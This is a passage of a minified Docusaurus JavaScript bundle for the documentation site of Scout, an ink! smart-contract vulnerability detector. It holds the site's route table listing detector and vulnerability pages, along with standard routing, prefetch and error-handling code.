xact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/assert-violation",component:f("/scout/docs/detectors/assert-violation","626"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/avoid-core-mem-forget",component:f("/scout/docs/detectors/avoid-core-mem-forget","b33"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/avoid-format-string",component:f("/scout/docs/detectors/avoid-format-string","89e"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/delegate-call",component:f("/scout/docs/detectors/delegate-call","813"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/divide-before-multiply",component:f("/scout/docs/detectors/divide-before-multiply","c55"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/dont-use-instantiate-contract-v1",component:f("/scout/docs/detectors/dont-use-instantiate-contract-v1","3e8"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/dos-unbounded-operation",component:f("/scout/docs/detectors/dos-unbounded-operation","bde"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/dos-unexpected-revert-with-vector",component:f("/scout/docs/detectors/dos-unexpected-revert-with-vector","799"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/ink-version",component:f("/scout/docs/detectors/ink-version","317"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/insufficiently-random-values",component:f("/scout/docs/detectors/insufficiently-random-values","174"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/integer-overflow-or-underflow",component:f("/scout/docs/detectors/integer-overflow-or-underflow","f10"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/iterators-over-indexing",component:f("/scout/docs/detectors/iterators-over-indexing","3e2"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/lazy-delegate",component:f("/scout/docs/detectors/lazy-delegate","3ac"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/lazy-values-not-set",component:f("/scout/docs/detectors/lazy-values-not-set","e2d"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/panic-error",component:f("/scout/docs/detectors/panic-error","67f"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/reentrancy",component:f("/scout/docs/detectors/reentrancy","b99"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/set-contract-storage",component:f("/scout/docs/detectors/set-contract-storage","357"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/unprotected-mapping-operation",component:f("/scout/docs/detectors/unprotected-mapping-operation","15a"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/unprotected-self-destruct",component:f("/scout/docs/detectors/unprotected-self-destruct","01c"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/unprotected-set-code-hash",component:f("/scout/docs/detectors/unprotected-set-code-hash","3cd"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/unrestricted-transfer-from",component:f("/scout/docs/detectors/unrestricted-transfer-from","678"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/unsafe-expect",component:f("/scout/docs/detectors/unsafe-expect","0ef"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/unsafe-unwrap",component:f("/scout/docs/detectors/unsafe-unwrap","720"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/unused-return-enum",component:f("/scout/docs/detectors/unused-return-enum","0de"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/detectors/zero-or-test-address",component:f("/scout/docs/detectors/zero-or-test-address","511"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/intro",component:f("/scout/docs/intro","2c4"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities",component:f("/scout/docs/vulnerabilities","65e"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/assert-violation",component:f("/scout/docs/vulnerabilities/assert-violation","227"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/avoid-core-mem-forget",component:f("/scout/docs/vulnerabilities/avoid-core-mem-forget","c24"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/avoid-format-string",component:f("/scout/docs/vulnerabilities/avoid-format-string","f00"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/delegate-call",component:f("/scout/docs/vulnerabilities/delegate-call","680"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/divide-before-multiply",component:f("/scout/docs/vulnerabilities/divide-before-multiply","2f5"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/dont-use-instantiate-contract-v1",component:f("/scout/docs/vulnerabilities/dont-use-instantiate-contract-v1","9b3"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/dos-unbounded-operation",component:f("/scout/docs/vulnerabilities/dos-unbounded-operation","fb4"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/dos-unexpected-revert-with-vector",component:f("/scout/docs/vulnerabilities/dos-unexpected-revert-with-vector","757"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/ink-version",component:f("/scout/docs/vulnerabilities/ink-version","2c9"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/insufficiently-random-values",component:f("/scout/docs/vulnerabilities/insufficiently-random-values","632"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/integer-overflow-or-underflow",component:f("/scout/docs/vulnerabilities/integer-overflow-or-underflow","9a4"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/iterators-over-indexing",component:f("/scout/docs/vulnerabilities/iterators-over-indexing","aab"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/lazy-delegate",component:f("/scout/docs/vulnerabilities/lazy-delegate","7e0"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/lazy-values-not-set",component:f("/scout/docs/vulnerabilities/lazy-values-not-set","888"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/panic-error",component:f("/scout/docs/vulnerabilities/panic-error","805"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/reentrancy",component:f("/scout/docs/vulnerabilities/reentrancy","090"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/set-contract-storage",component:f("/scout/docs/vulnerabilities/set-contract-storage","02a"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/unprotected-mapping-operation",component:f("/scout/docs/vulnerabilities/unprotected-mapping-operation","ba4"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/unprotected-self-destruct",component:f("/scout/docs/vulnerabilities/unprotected-self-destruct","43a"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/unprotected-set-code-hash",component:f("/scout/docs/vulnerabilities/unprotected-set-code-hash","cf7"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/unrestricted-transfer-from",component:f("/scout/docs/vulnerabilities/unrestricted-transfer-from","4b0"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/unsafe-expect",component:f("/scout/docs/vulnerabilities/unsafe-expect","ec2"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/unsafe-unwrap",component:f("/scout/docs/vulnerabilities/unsafe-unwrap","415"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/unused-return-enum",component:f("/scout/docs/vulnerabilities/unused-return-enum","fd1"),exact:!0,sidebar:"docsSidebar"},{path:"/scout/docs/vulnerabilities/zero-or-test-address",component:f("/scout/docs/vulnerabilities/zero-or-test-address","655"),exact:!0,sidebar:"docsSidebar"}]},{path:"/scout/",component:f("/scout/","31b"),exact:!0},{path:"*",component:f("*")}]},2965:(e,t,n)=>{"use strict";n.d(t,{_:()=>a,t:()=>o});var r=n(9496);const a=r.createContext(!1);function o(e){let{children:t}=e;const[n,o]=(0,r.useState)(!1);return(0,r.useEffect)((()=>{o(!0)}),[]),r.createElement(a.Provider,{value:n},t)}},75:(e,t,n)=>{"use strict";var r=n(9496),a=n(7995),o=n(8736),i=n(8663),s=n(758);const l=[n(402),n(7791),n(8230),n(9930)];var c=n(1737),u=n(3442),d=n(1789);function f(e){let{children:t}=e;return r.createElement(r.Fragment,null,t)}var p=n(2564),m=n(5198),g=n(2437),h=n(1221),b=n(3252),v=n(6650),y=n(5187),w=n(5894),E=n(7584),k=n(909);function S(){const{i18n:{defaultLocale:e,localeConfigs:t}}=(0,g.Z)(),n=(0,y.l)();return r.createElement(m.Z,null,Object.entries(t).map((e=>{let[t,{htmlLang:a}]=e;return r.createElement("link",{key:t,rel:"alternate",href:n.createUrl({locale:t,fullyQualified:!0}),hrefLang:a})})),r.createElement("link",{rel:"alternate",href:n.createUrl({locale:e,fullyQualified:!0}),hrefLang:"x-default"}))}function _(e){let{permalink:t}=e;const{siteConfig:{url:n}}=(0,g.Z)(),a=function(){const{siteConfig:{url:e}}=(0,g.Z)(),{pathname:t}=(0,u.TH)();return e+(0,h.Z)(t)}(),o=t?`${n}${t}`:a;return r.createElement(m.Z,null,r.createElement("meta",{property:"og:url",content:o}),r.createElement("link",{rel:"canonical",href:o}))}function x(){const{i18n:{currentLocale:e}}=(0,g.Z)(),{metadata:t,image:n}=(0,b.L)();return r.createElement(r.Fragment,null,r.createElement(m.Z,null,r.createElement("meta",{name:"twitter:card",content:"summary_large_image"}),r.createElement("body",{className:w.h})),n&&r.createElement(v.d,{image:n}),r.createElement(_,null),r.createElement(S,null),r.createElement(k.Z,{tag:E.HX,locale:e}),r.createElement(m.Z,null,t.map(((e,t)=>r.createElement("meta",(0,p.Z)({key:t},e))))))}const C=new Map;function T(e){if(C.has(e.pathname))return{...e,pathname:C.get(e.pathname)};if((0,d.f)(c.Z,e.pathname).some((e=>{let{route:t}=e;return!0===t.exact})))return C.set(e.pathname,e.pathname),e;const t=e.pathname.trim().replace(/(?:\/index)?\.html$/,"")||"/";return C.set(e.pathname,t),{...e,pathname:t}}var A=n(2965),L=n(5086);function N(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r{const r=t.default?.[e]??t[e];return r?.(...n)}));return()=>a.forEach((e=>e?.()))}const O=function(e){let{children:t,location:n,previousLocation:a}=e;return(0,r.useLayoutEffect)((()=>{a!==n&&(!function(e){let{location:t,previousLocation:n}=e;if(!n)return;const r=t.pathname===n.pathname,a=t.hash===n.hash,o=t.search===n.search;if(r&&a&&!o)return;const{hash:i}=t;if(i){const e=decodeURIComponent(i.substring(1)),t=document.getElementById(e);t?.scrollIntoView()}else window.scrollTo(0,0)}({location:n,previousLocation:a}),N("onRouteDidUpdate",{previousLocation:a,location:n}))}),[a,n]),t};function P(e){const t=Array.from(new Set([e,decodeURI(e)])).map((e=>(0,d.f)(c.Z,e))).flat();return Promise.all(t.map((e=>e.route.component.preload?.())))}class I extends r.Component{previousLocation;routeUpdateCleanupCb;constructor(e){super(e),this.previousLocation=null,this.routeUpdateCleanupCb=s.Z.canUseDOM?N("onRouteUpdate",{previousLocation:null,location:this.props.location}):()=>{},this.state={nextRouteHasLoaded:!0}}shouldComponentUpdate(e,t){if(e.location===this.props.location)return t.nextRouteHasLoaded;const n=e.location;return this.previousLocation=this.props.location,this.setState({nextRouteHasLoaded:!1}),this.routeUpdateCleanupCb=N("onRouteUpdate",{previousLocation:this.previousLocation,location:n}),P(n.pathname).then((()=>{this.routeUpdateCleanupCb(),this.setState({nextRouteHasLoaded:!0})})).catch((e=>{console.warn(e),window.location.reload()})),!1}render(){const{children:e,location:t}=this.props;return r.createElement(O,{previousLocation:this.previousLocation,location:t},r.createElement(u.AW,{location:t,render:()=>e}))}}const R=I,M="__docusaurus-base-url-issue-banner-container",D="__docusaurus-base-url-issue-banner",F="__docusaurus-base-url-issue-banner-suggestion-container",B="__DOCUSAURUS_INSERT_BASEURL_BANNER";function z(e){return`\nwindow['${B}'] = true;\n\ndocument.addEventListener('DOMContentLoaded', maybeInsertBanner);\n\nfunction maybeInsertBanner() {\n var shouldInsert = window['${B}'];\n shouldInsert && insertBanner();\n}\n\nfunction insertBanner() {\n var bannerContainer = document.getElementById('${M}');\n if (!bannerContainer) {\n return;\n }\n var bannerHtml = ${JSON.stringify(function(e){return`\n
\n

Your Docusaurus site did not load properly.

\n

A very common reason is a wrong site baseUrl configuration.

\n

Current configured baseUrl = ${e} ${"/"===e?" (default value)":""}

\n

We suggest trying baseUrl =

\n
\n`}(e)).replace(/{window[B]=!1}),[]),r.createElement(r.Fragment,null,!s.Z.canUseDOM&&r.createElement(m.Z,null,r.createElement("script",null,z(e))),r.createElement("div",{id:M}))}function U(){const{siteConfig:{baseUrl:e,baseUrlIssueBanner:t}}=(0,g.Z)(),{pathname:n}=(0,u.TH)();return t&&n===e?r.createElement($,null):null}function j(){const{siteConfig:{favicon:e,title:t,noIndex:n},i18n:{currentLocale:a,localeConfigs:o}}=(0,g.Z)(),i=(0,h.Z)(e),{htmlLang:s,direction:l}=o[a];return r.createElement(m.Z,null,r.createElement("html",{lang:s,dir:l}),r.createElement("title",null,t),r.createElement("meta",{property:"og:title",content:t}),r.createElement("meta",{name:"viewport",content:"width=device-width, initial-scale=1.0"}),n&&r.createElement("meta",{name:"robots",content:"noindex, nofollow"}),e&&r.createElement("link",{rel:"icon",href:i}))}var Z=n(3680);function H(){const e=(0,d.H)(c.Z),t=(0,u.TH)();return r.createElement(Z.Z,null,r.createElement(L.M,null,r.createElement(A.t,null,r.createElement(f,null,r.createElement(j,null),r.createElement(x,null),r.createElement(U,null),r.createElement(R,{location:T(t)},e)))))}var V=n(6887);const W=function(e){try{return document.createElement("link").relList.supports(e)}catch{return!1}}("prefetch")?function(e){return new Promise(((t,n)=>{if("undefined"==typeof document)return void n();const r=document.createElement("link");r.setAttribute("rel","prefetch"),r.setAttribute("href",e),r.onload=()=>t(),r.onerror=()=>n();const a=document.getElementsByTagName("head")[0]??document.getElementsByName("script")[0]?.parentNode;a?.appendChild(r)}))}:function(e){return new Promise(((t,n)=>{const r=new XMLHttpRequest;r.open("GET",e,!0),r.withCredentials=!0,r.onload=()=>{200===r.status?t():n()},r.send(null)}))};var G=n(9671);const q=new Set,Y=new Set,K=()=>navigator.connection?.effectiveType.includes("2g")||navigator.connection?.saveData,Q={prefetch(e){if(!(e=>!K()&&!Y.has(e)&&!q.has(e))(e))return!1;q.add(e);const t=(0,d.f)(c.Z,e).flatMap((e=>{return t=e.route.path,Object.entries(V).filter((e=>{let[n]=e;return n.replace(/-[^-]+$/,"")===t})).flatMap((e=>{let[,t]=e;return Object.values((0,G.Z)(t))}));var t}));return Promise.all(t.map((e=>{const t=n.gca(e);return t&&!t.includes("undefined")?W(t).catch((()=>{})):Promise.resolve()})))},preload:e=>!!(e=>!K()&&!Y.has(e))(e)&&(Y.add(e),P(e))},X=Object.freeze(Q);if(s.Z.canUseDOM){window.docusaurus=X;const e=a.hydrate;P(window.location.pathname).then((()=>{e(r.createElement(i.B6,null,r.createElement(o.VK,null,r.createElement(H,null))),document.getElementById("__docusaurus"))}))}},5086:(e,t,n)=>{"use strict";n.d(t,{_:()=>u,M:()=>d});var r=n(9496),a=n(6809);const o=JSON.parse('{"docusaurus-plugin-content-docs":{"default":{"path":"/scout/docs","versions":[{"name":"current","label":"Next","isLast":true,"path":"/scout/docs","mainDocId":"intro","docs":[{"id":"architecture","path":"/scout/docs/architecture","sidebar":"docsSidebar"},{"id":"contribute","path":"/scout/docs/contribute","sidebar":"docsSidebar"},{"id":"detectors/assert-violation","path":"/scout/docs/detectors/assert-violation","sidebar":"docsSidebar"},{"id":"detectors/avoid-core-mem-forget","path":"/scout/docs/detectors/avoid-core-mem-forget","sidebar":"docsSidebar"},{"id":"detectors/avoid-format-string","path":"/scout/docs/detectors/avoid-format-string","sidebar":"docsSidebar"},{"id":"detectors/delegate-call","path":"/scout/docs/detectors/delegate-call","sidebar":"docsSidebar"},{"id":"detectors/divide-before-multiply","path":"/scout/docs/detectors/divide-before-multiply","sidebar":"docsSidebar"},{"id":"detectors/dont-use-instantiate-contract-v1","path":"/scout/docs/detectors/dont-use-instantiate-contract-v1","sidebar":"docsSidebar"},{"id":"detectors/dos-unbounded-operation","path":"/scout/docs/detectors/dos-unbounded-operation","sidebar":"docsSidebar"},{"id":"detectors/dos-unexpected-revert-with-vector","path":"/scout/docs/detectors/dos-unexpected-revert-with-vector","sidebar":"docsSidebar"},{"id":"detectors/ink-version","path":"/scout/docs/detectors/ink-version","sidebar":"docsSidebar"},{"id":"detectors/insufficiently-random-values","path":"/scout/docs/detectors/insufficiently-random-values","sidebar":"docsSidebar"},{"id":"detectors/integer-overflow-or-underflow","path":"/scout/docs/detectors/integer-overflow-or-underflow","sidebar":"docsSidebar"},{"id":"detectors/iterators-over-indexing","path":"/scout/docs/detectors/iterators-over-indexing","sidebar":"docsSidebar"},{"id":"detectors/lazy-delegate","path":"/scout/docs/detectors/lazy-delegate","sidebar":"docsSidebar"},{"id":"detectors/lazy-values-not-set","path":"/scout/docs/detectors/lazy-values-not-set","sidebar":"docsSidebar"},{"id":"detectors/panic-error","path":"/scout/docs/detectors/panic-error","sidebar":"docsSidebar"},{"id":"detectors/README","path":"/scout/docs/detectors/","sidebar":"docsSidebar"},{"id":"detectors/reentrancy","path":"/scout/docs/detectors/reentrancy","sidebar":"docsSidebar"},{"id":"detectors/set-contract-storage","path":"/scout/docs/detectors/set-contract-storage","sidebar":"docsSidebar"},{"id":"detectors/unprotected-mapping-operation","path":"/scout/docs/detectors/unprotected-mapping-operation","sidebar":"docsSidebar"},{"id":"detectors/unprotected-self-destruct","path":"/scout/docs/detectors/unprotected-self-destruct","sidebar":"docsSidebar"},{"id":"detectors/unprotected-set-code-hash","path":"/scout/docs/detectors/unprotected-set-code-hash","sidebar":"docsSidebar"},{"id":"detectors/unrestricted-transfer-from","path":"/scout/docs/detectors/unrestricted-transfer-from","sidebar":"docsSidebar"},{"id":"detectors/unsafe-expect","path":"/scout/docs/detectors/unsafe-expect","sidebar":"docsSidebar"},{"id":"detectors/unsafe-unwrap","path":"/scout/docs/detectors/unsafe-unwrap","sidebar":"docsSidebar"},{"id":"detectors/unused-return-enum","path":"/scout/docs/detectors/unused-return-enum","sidebar":"docsSidebar"},{"id":"detectors/zero-or-test-address","path":"/scout/docs/detectors/zero-or-test-address","sidebar":"docsSidebar"},{"id":"intro","path":"/scout/docs/intro","sidebar":"docsSidebar"},{"id":"vulnerabilities/assert-violation","path":"/scout/docs/vulnerabilities/assert-violation","sidebar":"docsSidebar"},{"id":"vulnerabilities/avoid-core-mem-forget","path":"/scout/docs/vulnerabilities/avoid-core-mem-forget","sidebar":"docsSidebar"},{"id":"vulnerabilities/avoid-format-string","path":"/scout/docs/vulnerabilities/avoid-format-string","sidebar":"docsSidebar"},{"id":"vulnerabilities/delegate-call","path":"/scout/docs/vulnerabilities/delegate-call","sidebar":"docsSidebar"},{"id":"vulnerabilities/divide-before-multiply","path":"/scout/docs/vulnerabilities/divide-before-multiply","sidebar":"docsSidebar"},{"id":"vulnerabilities/dont-use-instantiate-contract-v1","path":"/scout/docs/vulnerabilities/dont-use-instantiate-contract-v1","sidebar":"docsSidebar"},{"id":"vulnerabilities/dos-unbounded-operation","path":"/scout/docs/vulnerabilities/dos-unbounded-operation","sidebar":"docsSidebar"},{"id":"vulnerabilities/dos-unexpected-revert-with-vector","path":"/scout/docs/vulnerabilities/dos-unexpected-revert-with-vector","sidebar":"docsSidebar"},{"id":"vulnerabilities/ink-version","path":"/scout/docs/vulnerabilities/ink-version","sidebar":"docsSidebar"},{"id":"vulnerabilities/insufficiently-random-values","path":"/scout/docs/vulnerabilities/insufficiently-random-values","sidebar":"docsSidebar"},{"id":"vulnerabilities/integer-overflow-or-underflow","path":"/scout/docs/vulnerabilities/integer-overflow-or-underflow","sidebar":"docsSidebar"},{"id":"vulnerabilities/iterators-over-indexing","path":"/scout/docs/vulnerabilities/iterators-over-indexing","sidebar":"docsSidebar"},{"id":"vulnerabilities/lazy-delegate","path":"/scout/docs/vulnerabilities/lazy-delegate","sidebar":"docsSidebar"},{"id":"vulnerabilities/lazy-values-not-set","path":"/scout/docs/vulnerabilities/lazy-values-not-set","sidebar":"docsSidebar"},{"id":"vulnerabilities/panic-error","path":"/scout/docs/vulnerabilities/panic-error","sidebar":"docsSidebar"},{"id":"vulnerabilities/README","path":"/scout/docs/vulnerabilities/","sidebar":"docsSidebar"},{"id":"vulnerabilities/reentrancy","path":"/scout/docs/vulnerabilities/reentrancy","sidebar":"docsSidebar"},{"id":"vulnerabilities/set-contract-storage","path":"/scout/docs/vulnerabilities/set-contract-storage","sidebar":"docsSidebar"},{"id":"vulnerabilities/unprotected-mapping-operation","path":"/scout/docs/vulnerabilities/unprotected-mapping-operation","sidebar":"docsSidebar"},{"id":"vulnerabilities/unprotected-self-destruct","path":"/scout/docs/vulnerabilities/unprotected-self-destruct","sidebar":"docsSidebar"},{"id":"vulnerabilities/unprotected-set-code-hash","path":"/scout/docs/vulnerabilities/unprotected-set-code-hash","sidebar":"docsSidebar"},{"id":"vulnerabilities/unrestricted-transfer-from","path":"/scout/docs/vulnerabilities/unrestricted-transfer-from","sidebar":"docsSidebar"},{"id":"vulnerabilities/unsafe-expect","path":"/scout/docs/vulnerabilities/unsafe-expect","sidebar":"docsSidebar"},{"id":"vulnerabilities/unsafe-unwrap","path":"/scout/docs/vulnerabilities/unsafe-unwrap","sidebar":"docsSidebar"},{"id":"vulnerabilities/unused-return-enum","path":"/scout/docs/vulnerabilities/unused-return-enum","sidebar":"docsSidebar"},{"id":"vulnerabilities/zero-or-test-address","path":"/scout/docs/vulnerabilities/zero-or-test-address","sidebar":"docsSidebar"}],"draftIds":[],"sidebars":{"docsSidebar":{"link":{"path":"/scout/docs/intro","label":"intro"}}}}],"breadcrumbs":true}}}'),i=JSON.parse('{"defaultLocale":"en","locales":["en"],"path":"i18n","currentLocale":"en","localeConfigs":{"en":{"label":"English","direction":"ltr","htmlLang":"en","calendar":"gregory","path":"en"}}}');var s=n(7529);const l=JSON.parse('{"docusaurusVersion":"2.4.1","siteVersion":"0.0.0","pluginVersions":{"docusaurus-plugin-content-docs":{"type":"package","name":"@docusaurus/plugin-content-docs","version":"2.4.1"},"docusaurus-plugin-content-blog":{"type":"package","name":"@docusaurus/plugin-content-blog","version":"2.4.1"},"docusaurus-plugin-content-pages":{"type":"package","name":"@docusaurus/plugin-content-pages","version":"2.4.1"},"docusaurus-plugin-sitemap":{"type":"package","name":"@docusaurus/plugin-sitemap","version":"2.4.1"},"docusaurus-theme-classic":{"type":"package","name":"@docusaurus/theme-classic","version":"2.4.1"}}}'),c={siteConfig:a.default,siteMetadata:l,globalData:o,i18n:i,codeTranslations:s},u=r.createContext(c);function d(e){let{children:t}=e;return r.createElement(u.Provider,{value:c},t)}},3680:(e,t,n)=>{"use strict";n.d(t,{Z:()=>f});var r=n(9496),a=n(758),o=n(5198),i=n(2855),s=n(6218);function l(e){let{error:t,tryAgain:n}=e;return r.createElement("div",{style:{display:"flex",flexDirection:"column",justifyContent:"center",alignItems:"flex-start",minHeight:"100vh",width:"100%",maxWidth:"80ch",fontSize:"20px",margin:"0 auto",padding:"1rem"}},r.createElement("h1",{style:{fontSize:"3rem"}},"This page crashed"),r.createElement("button",{type:"button",onClick:n,style:{margin:"1rem 0",fontSize:"2rem",cursor:"pointer",borderRadius:20,padding:"1rem"}},"Try again"),r.createElement(c,{error:t}))}function c(e){let{error:t}=e;const n=(0,i.getErrorCausalChain)(t).map((e=>e.message)).join("\n\nCause:\n");return r.createElement("p",{style:{whiteSpace:"pre-wrap"}},n)}function u(e){let{error:t,tryAgain:n}=e;return r.createElement(f,{fallback:()=>r.createElement(l,{error:t,tryAgain:n})},r.createElement(o.Z,null,r.createElement("title",null,"Page Error")),r.createElement(s.Z,null,r.createElement(l,{error:t,tryAgain:n})))}const d=e=>r.createElement(u,e);class f extends r.Component{constructor(e){super(e),this.state={error:null}}componentDidCatch(e){a.Z.canUseDOM&&this.setState({error:e})}render(){const{children:e}=this.props,{error:t}=this.state;if(t){const e={error:t,tryAgain:()=>this.setState({error:null})};return(this.props.fallback??d)(e)}return e??null}}},758:(e,t,n)=>{"use strict";n.d(t,{Z:()=>a});const r="undefined"!=typeof window&&"document"in window&&"createElement"in window.document,a={canUseDOM:r,canUseEventListeners:r&&("addEventListener"in window||"attachEvent"in window),canUseIntersectionObserver:r&&"IntersectionObserver"in window,canUseViewport:r&&"screen"in window}},5198:(e,t,n)=>{"use strict";n.d(t,{Z:()=>o});var r=n(9496),a=n(8663);function o(e){return r.createElement(a.ql,e)}},8462:(e,t,n)=>{"use strict";n.d(t,{Z:()=>p});var r=n(2564),a=n(9496),o=n(8736),i=n(2855),s=n(2437),l=n(9051),c=n(758);const u=a.createContext({collectLink:()=>{}});var d=n(1221);function f(e,t){let{isNavLink:n,to:f,href:p,activeClassName:m,isActive:g,"data-noBrokenLinkCheck":h,autoAddBaseUrl:b=!0,...v}=e;const{siteConfig:{trailingSlash:y,baseUrl:w}}=(0,s.Z)(),{withBaseUrl:E}=(0,d.C)(),k=(0,a.useContext)(u),S=(0,a.useRef)(null);(0,a.useImperativeHandle)(t,(()=>S.current));const _=f||p;const x=(0,l.Z)(_),C=_?.replace("pathname://","");let T=void 0!==C?(A=C,b&&(e=>e.startsWith("/"))(A)?E(A):A):void 0;var A;T&&x&&(T=(0,i.applyTrailingSlash)(T,{trailingSlash:y,baseUrl:w}));const L=(0,a.useRef)(!1),N=n?o.OL:o.rU,O=c.Z.canUseIntersectionObserver,P=(0,a.useRef)(),I=()=>{L.current||null==T||(window.docusaurus.preload(T),L.current=!0)};(0,a.useEffect)((()=>(!O&&x&&null!=T&&window.docusaurus.prefetch(T),()=>{O&&P.current&&P.current.disconnect()})),[P,T,O,x]);const R=T?.startsWith("#")??!1,M=!T||!x||R;return M||h||k.collectLink(T),M?a.createElement("a",(0,r.Z)({ref:S,href:T},_&&!x&&{target:"_blank",rel:"noopener noreferrer"},v)):a.createElement(N,(0,r.Z)({},v,{onMouseEnter:I,onTouchStart:I,innerRef:e=>{S.current=e,O&&e&&x&&(P.current=new window.IntersectionObserver((t=>{t.forEach((t=>{e===t.target&&(t.isIntersecting||t.intersectionRatio>0)&&(P.current.unobserve(e),P.current.disconnect(),null!=T&&window.docusaurus.prefetch(T))}))})),P.current.observe(e))},to:T},n&&{isActive:g,activeClassName:m}))}const p=a.forwardRef(f)},920:(e,t,n)=>{"use strict";n.d(t,{Z:()=>r});const r=()=>null},5449:(e,t,n)=>{"use strict";n.d(t,{Z:()=>l,I:()=>s});var r=n(9496);function a(e,t){const n=e.split(/(\{\w+\})/).map(((e,n)=>{if(n%2==1){const n=t?.[e.slice(1,-1)];if(void 0!==n)return n}return e}));return n.some((e=>(0,r.isValidElement)(e)))?n.map(((e,t)=>(0,r.isValidElement)(e)?r.cloneElement(e,{key:t}):e)).filter((e=>""!==e)):n.join("")}var o=n(7529);function i(e){let{id:t,message:n}=e;if(void 0===t&&void 0===n)throw new Error("Docusaurus translation declarations must have at least a translation id or a default translation message");return o[t??n]??n??t}function s(e,t){let{message:n,id:r}=e;return a(i({message:n,id:r}),t)}function l(e){let{children:t,id:n,values:o}=e;if(t&&"string"!=typeof t)throw console.warn("Illegal children",t),new Error("The Docusaurus component only accept simple string values");const s=i({message:t,id:n});return r.createElement(r.Fragment,null,a(s,o))}},9435:(e,t,n)=>{"use strict";n.d(t,{m:()=>r});const r="default"},9051:(e,t,n)=>{"use strict";function r(e){return/^(?:\w*:|\/\/)/.test(e)}function a(e){return void 0!==e&&!r(e)}n.d(t,{Z:()=>a,b:()=>r})},1221:(e,t,n)=>{"use strict";n.d(t,{C:()=>i,Z:()=>s});var r=n(9496),a=n(2437),o=n(9051);function i(){const{siteConfig:{baseUrl:e,url:t}}=(0,a.Z)(),n=(0,r.useCallback)(((n,r)=>function(e,t,n,r){let{forcePrependBaseUrl:a=!1,absolute:i=!1}=void 0===r?{}:r;if(!n||n.startsWith("#")||(0,o.b)(n))return n;if(a)return t+n.replace(/^\//,"");if(n===t.replace(/\/$/,""))return t;const s=n.startsWith(t)?n:t+n.replace(/^\//,"");return i?e+s:s}(t,e,n,r)),[t,e]);return{withBaseUrl:n}}function s(e,t){void 0===t&&(t={});const{withBaseUrl:n}=i();return n(e,t)}},2437:(e,t,n)=>{"use strict";n.d(t,{Z:()=>o});var r=n(9496),a=n(5086);function o(){return(0,r.useContext)(a._)}},128:(e,t,n)=>{"use strict";n.d(t,{Z:()=>o});var r=n(9496),a=n(2965);function o(){return(0,r.useContext)(a._)}},9671:(e,t,n)=>{"use strict";n.d(t,{Z:()=>a});const r=e=>"object"==typeof e&&!!e&&Object.keys(e).length>0;function a(e){const t={};return function e(n,a){Object.entries(n).forEach((n=>{let[o,i]=n;const s=a?`${a}.${o}`:o;r(i)?e(i,s):t[s]=i}))}(e),t}},4831:(e,t,n)=>{"use strict";n.d(t,{_:()=>a,z:()=>o});var r=n(9496);const a=r.createContext(null);function o(e){let{children:t,value:n}=e;const o=r.useContext(a),i=(0,r.useMemo)((()=>function(e){let{parent:t,value:n}=e;if(!t){if(!n)throw new Error("Unexpected: no Docusaurus route context found");if(!("plugin"in n))throw new Error("Unexpected: Docusaurus topmost route context has no `plugin` attribute");return n}const r={...t.data,...n?.data};return{plugin:t.plugin,data:r}}({parent:o,value:n})),[o,n]);return 